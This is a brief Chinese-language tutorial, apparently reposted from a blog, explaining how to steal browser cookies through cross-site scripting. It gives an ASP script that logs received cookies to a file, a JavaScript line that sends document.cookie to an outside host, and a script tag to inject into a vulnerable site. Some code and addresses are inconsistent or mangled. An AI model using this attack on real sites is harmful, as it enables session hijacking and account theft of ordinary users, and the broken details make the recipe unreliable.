利用XSS盗取cookies
1.把下里代码保存为cookies.asp,然后上传到能被正常访问的空间
<%
testfile=Server.MapPath("cookies.txt")
msg=Request("cookies")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(" & msg &" )
thisfile.Close
set fs = nothing
%>
2.假设***者上传地址为: http://127.0.0.1/cookie.asp
3.然后在新建一个文件,将如下代码复制进去,保存为cookies.js
document.forms[0].action='www.xiong.com/cookies.asp'+document.cookie
4.同样将上面的cookies.js上传到和cookies.asp一样的目录
5.基本环境构造好后,***者只要在存在跨站漏洞的网站写下如下代码
<script src=www.127.0.0.1/cookies.js></script>
转载于:https://blog.51cto.com/whitehat/789469